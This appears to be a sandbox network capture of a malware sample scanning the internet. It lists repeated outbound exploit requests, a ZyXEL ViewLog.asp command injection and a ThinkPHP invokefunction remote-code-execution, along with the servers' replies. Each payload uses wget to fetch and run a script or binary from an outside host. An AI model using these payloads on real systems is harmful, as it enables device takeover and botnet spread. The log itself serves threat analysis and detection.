Mar 4, 2024 15:08:36.764653921 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	34576	94.122.76.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.867424965 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.13	34086	88.129.117.254	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:37.603734016 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:40.822978020 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	48640	94.120.35.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:37.852652073 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	40298	94.123.189.219	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:38.296116114 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	50856	88.84.155.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:38.783279896 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:38.946729898 CET	285	IN	HTTP/1.1 302 Found Location: https:///index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	59324	88.83.41.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:38.810902119 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:39.007736921 CET	672	IN	Data Raw: 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 76 61 72 73 5b 31 5d 5b 5d 3d Data Ascii: hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 404 Not FoundServer: mini_httpd/1.19 19d

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	54626	88.151.236.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:38.956044912 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	39902	88.198.205.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:38.985642910 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:39.160345078 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 04 Mar 2024 14:08:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	59350	88.83.41.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.189847946 CET	489	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 31 39 20 31 39 64 65 63 32 30 30 33 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 30 34 20 4d 61 72 20 32 30 32 34 20 Data Ascii: (null) 400 Bad RequestServer: mini_httpd/1.19 19dec2003Date: Mon, 04 Mar 2024 14:08:38 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: close<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BOD

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	39094	95.217.75.10	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.723465919 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:39.911952019 CET	88	IN	HTTP/1.0 400 Bad Request Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a Data Ascii: Client sent an HTTP request to an HTTPS server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	54654	88.216.66.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.731642962 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:39.821105957 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 04 Mar 2024 14:08:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	51786	94.123.87.224	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.748368979 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	50936	94.121.33.238	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.751147032 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.13	45186	94.120.59.136	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.753119946 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	56822	31.131.139.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:39.757987022 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:39.981728077 CET	334	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 14:08:39 GMT Connection: Close Cache-Control: no-store X-Content-Type-Options: nosniff X-Frame-Options: DENY Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; object-src 'none'; connect-src .ookla.com .speedtest.net *.speedtestcustom.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.13	32872	85.31.232.77	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:40.469258070 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:41.270917892 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	51530	95.216.183.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.017374992 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:41.206617117 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 04 Mar 2024 14:08:41 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	36450	95.217.58.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.018615961 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:41.209263086 CET	505	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:41 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 39 3a 34 61 3a 31 32 62 30 3a 3a 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 2a01:4f9:4a:12b0::2 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	49052	95.213.216.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.028942108 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:41.229800940 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.2 Date: Mon, 04 Mar 2024 14:08:41 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	39602	95.59.150.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.095863104 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:41.423454046 CET	246	IN	HTTP/1.1 200 OK Content-Type: text/html Date: Mon, 04 Mar 2024 17:08:39 GMT Expires: Thu, 26 Oct 1995 00:00:00 GMT Last-Modified: Mon, 04 Mar 2024 17:08:39 GMT Pragma: no-cache X-Frame-Options: sameorigin Server: WebServer/1.0 UPnP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	45248	95.100.23.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.128593922 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:41.429033041 CET	478	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 256 Expires: Mon, 04 Mar 2024 14:08:41 GMT Date: Mon, 04 Mar 2024 14:08:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 66 62 31 33 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 33 32 31 26 23 34 36 3b 63 62 37 39 34 36 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.dfb1302.1709561321.cb79466</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	39102	112.175.191.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.409796953 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:41.692682028 CET	566	IN	HTTP/1.1 200 OK Connection: Close Content-Length: 375 Content-Type: text/html Date: Mon, 04 Mar 2024 14:00:39 GMT Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Data Raw: 3c 62 72 3e 0d 0a 3c 62 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 0d 0a 3c 68 32 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 20 2f 20 72 65 73 70 6f 6e 73 65 20 74 68 61 74 20 61 72 65 20 63 6f 6e 74 72 61 72 79 20 74 6f 20 74 68 65 20 57 65 62 20 66 69 72 65 77 61 6c 6c 20 73 65 63 75 72 69 74 79 20 70 6f 6c 69 63 69 65 73 20 68 61 76 65 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 2e 0d 0a 3c 2f 68 32 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 65 74 65 63 74 20 74 69 6d 65 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2d 30 33 2d 30 34 20 32 33 3a 30 30 3a 33 39 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 65 74 65 63 74 20 63 6c 69 65 6e 74 20 49 50 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 65 74 65 63 74 20 55 52 4c 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 31 31 32 2e 31 37 35 2e 31 39 31 2e 31 30 36 2f 69 6e 64 65 78 